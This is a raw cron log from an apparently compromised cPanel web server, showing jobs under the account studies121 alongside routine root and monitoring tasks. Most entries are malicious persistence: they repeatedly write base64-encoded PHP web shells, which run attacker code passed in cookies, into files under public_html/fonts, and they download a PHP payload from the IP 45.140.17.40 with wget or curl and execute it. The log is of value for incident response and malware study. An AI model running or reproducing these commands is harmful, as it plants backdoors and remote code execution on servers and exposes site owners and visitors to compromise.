Sep  6 15:17:02 ip-184-168-122-23 CROND[17971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:17:02 ip-184-168-122-23 CROND[17974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:17:02 ip-184-168-122-23 CROND[17976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:18:01 ip-184-168-122-23 CROND[18132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:18:01 ip-184-168-122-23 CROND[18134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:18:01 ip-184-168-122-23 CROND[18135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:18:01 ip-184-168-122-23 CROND[18136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:18:01 ip-184-168-122-23 CROND[18137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:19:01 ip-184-168-122-23 CROND[18267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:19:01 ip-184-168-122-23 CROND[18268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:19:01 ip-184-168-122-23 CROND[18269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:19:01 ip-184-168-122-23 CROND[18270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:20:01 ip-184-168-122-23 CROND[18422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:20:01 ip-184-168-122-23 CROND[18424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:20:01 ip-184-168-122-23 CROND[18426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:20:01 ip-184-168-122-23 CROND[18428]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 15:20:01 ip-184-168-122-23 CROND[18433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:20:01 ip-184-168-122-23 CROND[18435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:20:01 ip-184-168-122-23 CROND[18436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:20:01 ip-184-168-122-23 CROND[18434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:20:01 ip-184-168-122-23 CROND[18437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:21:01 ip-184-168-122-23 CROND[18564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:21:01 ip-184-168-122-23 CROND[18568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:21:01 ip-184-168-122-23 CROND[18567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:21:01 ip-184-168-122-23 CROND[18566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:22:01 ip-184-168-122-23 CROND[18719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:22:01 ip-184-168-122-23 CROND[18720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:22:01 ip-184-168-122-23 CROND[18721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:22:01 ip-184-168-122-23 CROND[18723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:22:01 ip-184-168-122-23 CROND[18722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:23:01 ip-184-168-122-23 CROND[18921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:23:01 ip-184-168-122-23 CROND[18923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:23:01 ip-184-168-122-23 CROND[18924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:23:01 ip-184-168-122-23 CROND[18926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:24:01 ip-184-168-122-23 CROND[19166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:24:02 ip-184-168-122-23 CROND[19169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:24:02 ip-184-168-122-23 CROND[19171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:24:02 ip-184-168-122-23 CROND[19168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:24:02 ip-184-168-122-23 CROND[19170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:25:01 ip-184-168-122-23 CROND[19365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:25:01 ip-184-168-122-23 CROND[19367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:25:01 ip-184-168-122-23 CROND[19368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:25:01 ip-184-168-122-23 CROND[19372]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:25:01 ip-184-168-122-23 CROND[19373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:25:01 ip-184-168-122-23 CROND[19371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:26:01 ip-184-168-122-23 CROND[19523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:26:01 ip-184-168-122-23 CROND[19525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:26:01 ip-184-168-122-23 CROND[19526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:26:01 ip-184-168-122-23 CROND[19527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:26:01 ip-184-168-122-23 CROND[19528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:27:01 ip-184-168-122-23 CROND[19673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:27:01 ip-184-168-122-23 CROND[19674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:27:01 ip-184-168-122-23 CROND[19675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:27:01 ip-184-168-122-23 CROND[19678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:28:01 ip-184-168-122-23 CROND[19802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:28:01 ip-184-168-122-23 CROND[19803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:28:01 ip-184-168-122-23 CROND[19806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:28:01 ip-184-168-122-23 CROND[19807]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:28:01 ip-184-168-122-23 CROND[19808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:29:01 ip-184-168-122-23 CROND[19958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:29:01 ip-184-168-122-23 CROND[19959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:29:01 ip-184-168-122-23 CROND[19961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
